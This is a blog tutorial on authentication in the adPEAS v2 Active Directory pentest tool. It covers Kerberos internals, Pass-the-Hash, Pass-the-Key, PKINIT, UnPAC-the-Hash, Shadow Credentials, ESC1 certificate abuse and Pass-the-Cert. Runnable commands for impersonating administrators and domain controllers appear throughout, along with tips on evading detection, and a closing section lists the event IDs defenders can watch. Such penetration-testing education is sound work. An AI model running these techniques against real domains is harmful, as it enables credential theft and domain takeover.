adPEAS v2 Episode 3: Authentication Deep-Dive - From Password to Certificate
Deep dive into adPEAS v2 authentication: Kerberos internals, Pass-the-Hash, Pass-the-Key, PKINIT with certificates, Shadow Credentials, and Pass-the-Cert via Schannel.
Introduction: The Hellhound and Its Three Heads
Authentication in Active Directory is a complex topic. This blog post goes deep into the subject: How does Kerberos work? What is Pass-the-Hash? Why do you need PKINIT? And what do you do when nothing works?
In case you’re wondering why the protocol is called “Kerberos”: it comes from Greek mythology. Kerberos (or Cerberus) was the three-headed hellhound that guarded the entrance to the underworld. The three “heads” in Kerberos authentication are: Client, Server, and KDC (Key Distribution Center). Is the protocol sometimes hell? Yes. Absolutely.
Part 1: Kerberos - The Foundation
The Problem Kerberos Solves
Imagine a large enterprise. Access to various servers is needed — file server, mail server, web server. Enter your password at every server? That would be cumbersome and insecure.
Kerberos solves this elegantly:
- One-time authentication with the KDC (usually the Domain Controller)
- Issuance of a “ticket” that proves your identity
- Use that ticket to access all services without entering your password again
That’s Single Sign-On (SSO) — and Kerberos has been doing it since the 80s.
The Actors in the Kerberos Theater
Client — The system running adPEAS.
KDC (Key Distribution Center) — The keymaster. In Active Directory, this is the Domain Controller. It has two functions:
- AS (Authentication Service) — Issues the TGT
- TGS (Ticket Granting Service) — Issues Service Tickets
Service/Server — The service you want to access (e.g., LDAP on the DC)
TGT (Ticket Granting Ticket) — The “entry pass”. It proves that authentication has taken place.
Service Ticket (TGS) — The actual ticket for a specific service.
The Classic Kerberos Flow
+----------+ +---------+ +---------+
| Client | | KDC | | Service |
+----+-----+ +----+----+ +----+----+
| | |
| 1. AS-REQ (I am admin) | |
|---------------------------------->| |
| | |
| 2. AS-REP (here is your TGT) | |
|<----------------------------------| |
| | |
| 3. TGS-REQ (I want LDAP) | |
|---------------------------------->| |
| | |
| 4. TGS-REP (here Service Ticket) | |
|<----------------------------------| |
| | |
| 5. AP-REQ (here is my ticket) | |
|----------------------------------------------------------------->|
| | |
| 6. AP-REP (welcome!) | |
|<-----------------------------------------------------------------|
The idea is elegant: the password never leaves the computer. Instead, everything is handled with tickets and encrypted messages.
What Happens in adPEAS?
When adPEAS is started with a password:
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd"
…the following happens under the hood:
Step 1: Key Derivation
The password is never used directly. Instead, a cryptographic key is derived from it:
Password: "P@ssw0rd"
|
v
+---------------------------------------+
| String-to-Key |
+---------------------------------------+
| Salt = CONTOSO.COM + username |
| PBKDF2 with 4096 iterations |
| AES-256 Key Derivation |
+---------------------------------------+
|
v
AES256 Key: 4a3b2c1d5e6f7a8b9c0d1e2f3a4b5c6d...
The “salt” is important — it consists of the REALM (domain in uppercase) plus the username. This ensures that the same password in different domains produces different keys.
Step 2: Building the AS-REQ
The AS-REQ (Authentication Service Request) is built using the key:
$ASREQ = @{
pvno = 5 # Kerberos Version
msg_type = 10 # AS-REQ
padata = @(
@{
padata_type = 2 # PA-ENC-TIMESTAMP
padata_value = $encryptedTimestamp
}
)
req_body = @{
kdc_options = 0x40810010 # Flags
cname = "admin" # Client Name
realm = "CONTOSO.COM" # Domain
sname = "krbtgt/CONTOSO.COM" # TGT Service
till = "20370913024805Z" # Valid until
nonce = (Get-Random) # Random number
etype = @(18, 17, 23) # AES256, AES128, RC4
}
}
The encrypted timestamp is the “Pre-Authentication” that proves knowledge of the password.
Steps 3-5: Get the TGT, Get the Service Ticket, Pass-the-Ticket
After receiving the TGT, a Service Ticket for LDAP is requested and injected into the Windows session via PTT (Pass-the-Ticket):
# PTT uses the LSA API
[LSATicketImport]::LsaCallAuthenticationPackage(
$lsaHandle,
$kerberosPackageId,
$submitBuffer, # Our ticket
$submitBufferSize,
[ref]$null, [ref]$null, [ref]$protocolStatus
)
After that, LDAP can be used with Kerberos auth — the ticket is automatically served from the cache.
Encryption Types (etypes)
| etype | Algorithm | Security |
|---|---|---|
| 18 | AES256-CTS | Strong (recommended) |
| 17 | AES128-CTS | Good |
| 23 | RC4-HMAC | Weak (but still supported) |
adPEAS always tries AES256 first. RC4-HMAC is the reason Pass-the-Hash works — because with RC4, the NT hash is used directly as the key.
Part 2: Pass-the-Hash & Pass-the-Key
The Pentester’s Dilemma
You have access to a system, and Mimikatz dumps the credentials:
* NTLM : 32ED87BDB5FDC5E9CBA88547376818D4
You have the NT hash. But the password? Unknown. Cracking could take weeks.
This is where Pass-the-Hash comes in: why crack the password when you can use the hash directly?
Pass-the-Hash in adPEAS
Connect-adPEAS -Domain "contoso.com" -Username "admin" -NTHash "32ED87BDB5FDC5E9CBA88547376818D4"
With Kerberos RC4-HMAC, the NT hash is used directly as the key — no salt, no iterations:
Normal password login (AES256):
Password -> PBKDF2(Salt, 4096 iterations) -> DK -> AES256-Key
Pass-the-Hash (RC4):
NT-Hash -> use directly as key
Pass-the-Key: The AES Variant
When AES keys are available (e.g., from DCSync or Rubeus):
# With AES256 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES256Key "4a3b2c1d5e6f7a8b..."
# With AES128 Key
Connect-adPEAS -Domain "contoso.com" -Username "admin" -AES128Key "1a2b3c4d5e6f7a8b..."
Why Is Pass-the-Key Better Than Pass-the-Hash?
- Modern encryption — AES256 is the current standard
- Less detection — Many EDR solutions have specific rules for RC4 tickets
Detection perspective:
Requesting an RC4-HMAC ticket in 2025?
-> "That's suspicious, who still does that?" -> Alert!
Requesting an AES256 ticket?
-> "Normal" -> No alert
Non-Domain-Joined: The Real Advantage
You don’t need a domain join. Because adPEAS implements the complete Kerberos stack itself, tickets can be requested from any system — as long as it’s a Windows machine.
Pass-the-* Summary
| Method | Key Source | Encryption | Stealth |
|---|---|---|---|
| Password | Password input | AES256 | High |
| Pass-the-Hash | NT hash | RC4-HMAC | Medium |
| Pass-the-Key (AES) | AES key | AES256/128 | High |
| Overpass-the-Hash | NT hash (directly as RC4 key) | RC4-HMAC | Medium |
Part 3: PKINIT - Certificates Instead of Passwords
Why PKINIT?
PKINIT is a Kerberos extension that allows authentication with a certificate instead of a password. The big advantage: certificates are often valid longer than passwords — perfect for persistence.
+-------------+ +---------+
| Client | | KDC |
| (with cert) | | |
+----+--------+ +----+----+
| |
| 1. AS-REQ with signed message |
| (Proof: "I have the private key") |
|------------------------------------------------->|
| |
| 2. AS-REP with TGT |
| (Encrypted with DH key) |
|<-------------------------------------------------|
Instead of an encrypted timestamp, a signed message is sent. The certificate contains a public key, and the signature proves possession of the corresponding private key.
Which Certificates Work?
| OID | Name | Works? |
|---|---|---|
| 1.3.6.1.4.1.311.20.2.2 | Smartcard Logon | Yes |
| 1.3.6.1.5.5.7.3.2 | Client Authentication | Yes |
| 1.3.6.1.5.2.3.4 | PKINIT Client Auth | Yes |
| 2.5.29.37.0 | Any Purpose | Yes |
Additionally, the certificate needs a Subject Alternative Name (SAN) with the user’s UPN.
PKINIT in adPEAS
# With PFX file
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"
# With password-protected PFX
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx" -CertificatePassword "MyPfxPassword"
UnPAC-the-Hash: NT Hash Recovery After PKINIT
A particularly useful side effect of PKINIT: the KDC can return the user’s NT hash inside the ticket. Why? With PKINIT, the client authenticates asymmetrically (certificate) — it doesn’t possess a symmetric key. The KDC therefore includes the NTLM credentials as a “bonus” in the PAC (PAC_CREDENTIAL_INFO, Buffer Type 2), encrypted with the DH-derived key.
adPEAS exploits this automatically:
Connect-adPEAS -Domain "contoso.com" -Certificate "admin.pfx"
Get-adPEASSession
# Output:
# Authenticated as: administrator@CONTOSO.COM
# NT-Hash: 9ec9d30b8b69ecbbada1d3110f354f8d
# Authentication Method: Kerberos (TGT/TGS)
How does this work technically?
1. PKINIT AS-REQ/AS-REP -> TGT + DH-derived key
2. U2U TGS-REQ to self (enc-tkt-in-skey)
3. KDC responds with service ticket including PAC_CREDENTIAL_INFO
4. Decrypt service ticket with session key (KeyUsage 2)
5. Decrypt PAC_CREDENTIAL_INFO with AS-REP Reply Key (KeyUsage 16)
6. Parse NTLM_SUPPLEMENTAL_CREDENTIAL -> extract NT hash
Why is this useful?
- After an ADCS attack (ESC1, etc.) you have a certificate — but no hash
- With UnPAC-the-Hash you get the NT hash directly from the KDC
- No cracking needed, no access to LSASS or NTDS.dit required
- The hash can then be used for Pass-the-Hash or offline purposes
Important: This only works after PKINIT. With password/hash/key authentication, the KDC does not include PAC_CREDENTIAL_INFO because the client already possesses a symmetric key.
Where Do You Get Certificates?
Option 1: Shadow Credentials - The Elegant Alternative
There’s a way to obtain certificates for PKINIT that doesn’t require a CA at all: Shadow Credentials.
Prerequisite: The Domain Functional Level must be Windows Server 2016 or higher. The msDS-KeyCredentialLink attribute only exists from the schema update that comes with the 2016 Domain Functional Level. In domains with an older Functional Level (2012 R2 or lower), Shadow Credentials are not possible.
The principle: every AD object has an msDS-KeyCredentialLink attribute. If you have write permissions to it, you can store a public key there. The corresponding private key becomes a certificate that works for PKINIT.
# Step 1: Add Shadow Credential (-PassThru returns an object)
$result = Set-DomainUser -Identity "admin" -AddShadowCredential -PassThru
# $result contains among others:
# .PFXPath = "C:\admin_20260115_103000.pfx"
# .PFXPassword = "aB3cD4eF5gH6iJ7kL8m9"
# .DeviceID = "a1b2c3d4-..."
# Step 2: Authenticate with the generated certificate
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword
# Step 3: Cleanup
Set-DomainUser -Identity "admin" -ClearShadowCredentials -DeviceID $result.DeviceID
What happens technically?
- adPEAS generates an RSA-2048 key pair
- Creates a
KEYCREDENTIALLINK_BLOBstructure (MS-ADTS 2.2.19 format) - Writes it to
msDS-KeyCredentialLink - Generates a self-signed X.509 certificate with Client Auth + Smart Card Logon EKUs
- Exports as PFX
Why is this so effective?
- No CA needed — Works even without ADCS
- No CA logs — The CA doesn’t know about it
- Self-signed is OK — The KDC only validates that the public key is stored in AD
- Works for users AND computers — Ideal for lateral movement
Don’t forget computer accounts:
$result = Set-DomainComputer -Identity "DC01" -AddShadowCredential -PassThru
Connect-adPEAS -Domain "contoso.com" -Certificate $result.PFXPath -CertificatePassword $result.PFXPassword
# DCSync incoming!
Option 2: ADCS Certificates (ESC1-4, ESC8-9, ESC13, ESC15)
The classic route through a vulnerable Certificate Authority:
# Step 1: Find vulnerable template
Invoke-adPEAS -Module ADCS
# Output:
# [!] ESC1: Template 'WebServer' allows Enrollee Supplies Subject
# Step 2: Request certificate (e.g., with Certipy)
certipy req -u 'lowpriv@contoso.com' -p 'P@ssw0rd' -ca 'ROOT-CA' -template 'WebServer' -upn 'administrator@contoso.com'
# Step 3: Authenticate with the certificate
Connect-adPEAS -Domain "contoso.com" -Certificate "administrator.pfx"
Comparison: Shadow Credentials vs. ADCS Certificates
| Aspect | Shadow Credentials | ADCS Certificates |
|---|---|---|
| Requires CA | No | Yes |
| CA logs | None | Enrollment is logged |
| Domain Functional Level | 2016+ required | No requirement |
| Prerequisite | Write access to msDS-KeyCredentialLink | Enrollment permission on template |
| Validity | Self-defined (default: 1 year) | Defined by template |
| Detection | Event 5136 (Attribute Modified) | Event 4886/4887 (Cert Issued) |
Part 3b: Pass-the-Cert - When Kerberos Is Not an Option
The Problem with PKINIT
PKINIT is great, but it has one drawback: it requires Kerberos. Port 88 must be reachable, a TGT is requested, and the ticket must be injected into the session via PTT. But what if port 88 is blocked? For example, behind a SOCKS proxy, SSH tunnel, or firewall that only allows port 636?
This is where Pass-the-Cert (also known as Schannel authentication) comes in.
How Does Pass-the-Cert Work?
Instead of using the certificate for Kerberos, it is presented directly in the TLS handshake:
+-------------+ +---------+
| Client | | DC |
| (with cert) | | :636 |
+----+--------+ +----+----+
| |
| 1. TLS ClientHello |
|------------------------------------------------->|
| |
| 2. TLS ServerHello + CertificateRequest |
|<-------------------------------------------------|
| |
| 3. TLS Certificate (client certificate) |
| + CertificateVerify (signature with PrivKey) |
|------------------------------------------------->|
| |
| 4. TLS Finished (connection established) |
|<-------------------------------------------------|
| |
| Connection is authenticated! |
| No Bind() needed, no Kerberos, no TGT |
The DC maps the certificate to an AD account via Schannel Certificate Mapping. This is the same mechanism that smart cards use with LDAPS.
Pass-the-Cert in adPEAS
# Pass-the-Cert (Schannel) - no Kerberos needed
Connect-adPEAS -Domain "contoso.com" -Certificate "user.pfx" -ForcePassTheCert
# With specific DC
Connect-adPEAS -Domain "contoso.com" -Server "dc01.contoso.com" -Certificate "user.pfx" -ForcePassTheCert
PKINIT vs. Pass-the-Cert: When to Use Which?
| Aspect | PKINIT | Pass-the-Cert (Schannel) |
|---|---|---|
| Protocol | Kerberos (port 88) | LDAPS (port 636) |
| Port 88 required | Yes | No |
| Smart Card Logon EKU | Required | Not required |
| Shadow Credentials | Works | Does NOT work |
| ADCS Certificates | Works | Works |
| LDAP Signing/Channel Binding | N/A | Immune (TLS provides both) |
Rule of thumb:
- PKINIT (default): When Kerberos is available
- Pass-the-Cert (
-ForcePassTheCert): When port 88 is blocked or the certificate lacks a Smart Card Logon EKU (e.g., from ESC8 relay) or PKINIT does not work at all.
Important: Shadow Credentials only work with PKINIT, not with Pass-the-Cert. The reason: Shadow Credentials use Key Credential Link mapping in AD, while Pass-the-Cert requires Schannel Certificate Mapping - which needs a CA-issued certificate with UPN/DNS SAN.
Part 4: When Things Go Wrong - Troubleshooting
The Fallback Hierarchy
adPEAS always tries the best available authentication path:
1. Native Kerberos (Pass-the-Key/Hash/PKINIT)
|
v If that fails:
2. NTLM Impersonation (automatic, supports LDAP Signing)
|
v If that fails:
3. LDAP SimpleBind (credentials sent directly to the DC)
Common Problems and Solutions
Problem 1: Port 88 Blocked
[!] Kerberos authentication failed
Cannot reach KDC on port 88
Solution: Force SimpleBind or NTLM
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind
# Or:
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM
Problem 2: DNS Resolution
[!] Cannot resolve KDC
DNS lookup failed for _kerberos._tcp.contoso.com
Solution: Specify the DC directly
Connect-adPEAS -Domain "contoso.com" -Server "10.0.0.10" -Username "admin" -Password "P@ssw0rd"
Problem 3: PTT Fails
[!] Failed to import Kerberos ticket
LsaCallAuthenticationPackage failed with NTSTATUS 0x...
Note: adPEAS uses LsaConnectUntrusted for PTT — this does not require admin privileges. PTT into your own session (LUID 0) works without elevation.
If PTT still fails (e.g., due to restrictive security policies), NTLM Impersonation can be used as an alternative:
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM
This uses runas /netonly-style impersonation — the local session remains unchanged, but network access uses the specified credentials.
Problem 4: Time Synchronization
[!] KRB_AP_ERR_SKEW
Clock skew too great
Kerberos allows a maximum of 5 minutes clock skew.
Solution: Synchronize time or bypass Kerberos
# Synchronize time
w32tm /config /manualpeerlist:DC01.contoso.com /syncfromflags:manual /update
w32tm /resync
# Or SimpleBind (has no time requirements)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceSimpleBind
# Or NTLM Impersonation (also has no time requirements)
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -ForceNTLM
Control Flags Summary
| Flag | Effect |
|---|---|
-ForceSimpleBind | Skips Kerberos AND NTLM Impersonation, goes directly to SimpleBind |
-ForceKerberos | Kerberos or error, no fallback |
-ForceNTLM | NTLM Impersonation (runas /netonly style) |
-ForcePassTheCert | Schannel instead of PKINIT (TLS client certificate, no Kerberos) |
-UseLDAPS | Force LDAPS (port 636, TLS) |
-Server <DC> | Use a specific DC instead of auto-discovery |
Verbose Mode
When all else fails:
Connect-adPEAS -Domain "contoso.com" -Username "admin" -Password "P@ssw0rd" -Verbose
This shows exactly where things are getting stuck.
Detection and Defense
What Defenders See
Kerberos (Password/Hash/Key):
- Event ID 4768 (TGT Request) — Normal login
- Event ID 4769 (TGS Request) — Service Ticket
- RC4 tickets in modern environments are suspicious
PKINIT (ADCS Certificates):
- Event ID 4768 with Certificate-based Authentication
- Event ID 4886/4887 (Certificate Request/Issued) on the CA
- Unusual certificate issuances
PKINIT (Shadow Credentials):
- Event ID 5136 (Directory Service Object Modified) — Change to
msDS-KeyCredentialLink - Event ID 4768 with Certificate-based Authentication
- No CA events! — This makes detection harder
Summary
Authentication Methods at a Glance
| Method | Requires | Encryption | Stealth | Fallback |
|---|---|---|---|---|
| Password | Password | AES256 | High | Yes (NTLM Impersonation -> SimpleBind) |
| Pass-the-Hash | NT hash | RC4-HMAC | Medium | No (Kerberos required) |
| Pass-the-Key | AES key | AES256/128 | High | No (Kerberos required) |
| PKINIT (ADCS) | Certificate | DH+AES | High | No |
| PKINIT (Shadow) | Write permissions | DH+AES | High | No |
| Pass-the-Cert | CA certificate | TLS | High | No (port 636 only) |
When to Use What?
- Password known -> Normal login
- Only NT hash -> Pass-the-Hash (or Overpass-the-Hash for more stealth)
- AES keys available -> Pass-the-Key (best option for stealth)
- ADCS vulnerable -> PKINIT with ADCS certificate
- Write permissions on AD object -> Shadow Credentials + PKINIT
- Certificate + port 88 blocked -> Pass-the-Cert (
-ForcePassTheCert) - Kerberos blocked -> SimpleBind or NTLM Impersonation
Key Takeaways
- Kerberos is ticket-based — The password never leaves the computer
- Pass-the-Hash uses RC4 — The hash is directly the key
- Pass-the-Key is stealthier — AES256 is the standard
- PKINIT doesn’t necessarily need a CA — Shadow Credentials work without one (from DFL 2016)
- Pass-the-Cert bypasses Kerberos entirely — Only port 636 needed, ideal behind proxies/tunnels
- adPEAS has built-in fallbacks — It automatically finds a way
- Use verbose mode — Shows where things are getting stuck when problems arise
In the upcoming episodes, we’ll cover the check modules — that’s where things get really interesting, because that’s the part where vulnerabilities are actually discovered.
← Episode 2: Under the Hood | Episode 4: Security Checks — coming soon
About the Author
Related Articles
adPEAS v2 Blog Series: Active Directory Security Analysis with adPEAS
Introducing adPEAS v2 — a complete rewrite of the PowerShell-based Active Directory analysis tool with native Kerberos support, zero dependencies, and over 40 security checks.
adPEAS v2 Episode 2: Under the Hood - Anatomy of a Scan
What happens when adPEAS scans an Active Directory? From authentication and LDAP queries to context-dependent severity ratings and caching -- a look under the hood.